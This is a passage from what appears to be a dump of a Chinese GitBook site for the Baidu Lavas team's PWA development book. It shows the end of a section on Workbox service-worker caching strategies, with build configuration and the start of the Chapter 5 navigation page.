punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.html&apos;</span><span class=\"token punctuation\">,</span>\n    revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;5ed70e0c237b4c66&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/index.f8666b443c7a0e84.js&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/index.1236d1250f7ffbdc.css&apos;</span>\n<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x52A8;&#x6001;&#x7F13;&#x5B58;</span>\nworkbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span>\n  <span class=\"token regex\">/\\/article\\.json$/</span><span class=\"token punctuation\">,</span>\n  <span class=\"token keyword\">new</span> <span class=\"token class-name\">workbox<span class=\"token punctuation\">.</span>strategies<span class=\"token punctuation\">.</span>StaleWhileRevalidate</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span>\nworkbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span>\n  <span class=\"token regex\">/\\/statistics\\.json$/</span><span class=\"token punctuation\">,</span>\n  <span class=\"token keyword\">new</span> <span class=\"token class-name\">workbox<span class=\"token punctuation\">.</span>strategies<span class=\"token punctuation\">.</span>NetworkOnly</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x6B64;&#x65F6;&#x9875;&#x9762;&#x5C55;&#x793A;&#x7684;&#x6548;&#x679C;&#x4E0E;&#x524D;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x662F;&#x4E00;&#x6837;&#x7684;&#xFF1A;</p>\n<p><img src=\"img/workbox-demo.png\" alt=\"workbox &#x793A;&#x4F8B;\"></p>\n<h2 id=\"&#x5C0F;&#x7ED3;\"><a name=\"&#x5C0F;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5C0F;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C0F;&#x7ED3;</h2>\n<p>Workbox &#x7684;&#x529F;&#x80FD;&#x975E;&#x5E38;&#x5B8C;&#x5584;&#xFF0C;&#x63D2;&#x4EF6;&#x673A;&#x5236;&#x4E5F;&#x80FD;&#x591F;&#x5F88;&#x597D;&#x7684;&#x6EE1;&#x8DB3;&#x5404;&#x79CD;&#x4E1A;&#x52A1;&#x573A;&#x666F;&#x9700;&#x6C42;&#xFF0C;&#x5982;&#x679C;&#x81EA;&#x5DF1;&#x624B;&#x52A8;&#x7EF4;&#x62A4;&#x4E00;&#x4E2A;&#x5E94;&#x7528;&#x7684;&#x539F;&#x751F;&#x7684; Service Worker &#x6587;&#x4EF6;&#x5DE5;&#x4F5C;&#x91CF;&#x975E;&#x5E38;&#x5DE8;&#x5927;&#xFF0C;&#x800C;&#x4E14;&#x6709;&#x5F88;&#x591A;&#x6F5C;&#x5728;&#x7684;&#x95EE;&#x9898;&#x4E0D;&#x5BB9;&#x6613;&#x88AB;&#x53D1;&#x73B0;&#xFF0C;Workbox &#x5F88;&#x597D;&#x7684;&#x89C4;&#x907F;&#x4E86;&#x5F88;&#x591A; Service Worker &#x6F5C;&#x5728;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x4E5F;&#x5927;&#x5927;&#x51CF;&#x5C0F;&#x4E86; Service Worker &#x7684;&#x7EF4;&#x62A4;&#x6210;&#x672C;&#xFF0C;&#x6240;&#x4EE5;&#x5EFA;&#x8BAE;&#x5927;&#x5BB6;&#x5728;&#x5F00;&#x59CB;&#x8003;&#x8651;&#x4F7F;&#x7528; Service Worker &#x7684;&#x65F6;&#x5019;&#x4F18;&#x5148;&#x8003;&#x8651; Workbox&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"4-precache.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 5.4 预缓存方案\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"../chapter06.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 第6章 用户留存\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"5.5 使用 Workbox\",\"level\":\"1.6.5\",\"depth\":2,\"next\":{\"title\":\"第6章 用户留存\",\"level\":\"1.7\",\"depth\":1,\"path\":\"chapter06.md\",\"ref\":\"chapter06.md\",\"articles\":[{\"title\":\"6.1 Web 应用清单\",\"level\":\"1.7.1\",\"depth\":2,\"path\":\"chapter06/1-manifest-json.md\",\"ref\":\"chapter06/1-manifest-json.md\",\"articles\":[]},{\"title\":\"6.2 凭证管理 API\",\"level\":\"1.7.2\",\"depth\":2,\"path\":\"chapter06/2-credentials-api.md\",\"ref\":\"chapter06/2-credentials-api.md\",\"articles\":[]},{\"title\":\"6.3 桌面通知\",\"level\":\"1.7.3\",\"depth\":2,\"path\":\"chapter06/3-notification-api.md\",\"ref\":\"chapter06/3-notification-api.md\",\"articles\":[]},{\"title\":\"6.4 网络推送\",\"level\":\"1.7.4\",\"depth\":2,\"path\":\"chapter06/4-web-push-api.md\",\"ref\":\"chapter06/4-web-push-api.md\",\"articles\":[]},{\"title\":\"6.5 Payment Request API\",\"level\":\"1.7.5\",\"depth\":2,\"path\":\"chapter06/5-payment-request-api.md\",\"ref\":\"chapter06/5-payment-request-api.md\",\"articles\":[]}]},\"previous\":{\"title\":\"5.4 预缓存方案\",\"level\":\"1.6.4\",\"depth\":2,\"path\":\"chapter05/4-precache.md\",\"ref\":\"chapter05/4-precache.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter05/5-workbox.md\",\"mtime\":\"2019-06-19T10:37:42.211Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter05.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>第5章 离线与缓存 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"chapter05/1-fetch-event-management.html\" />\n    \n    \n    <link rel=\"prev\" href=\"chapter04/4-service-worker-debug.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li 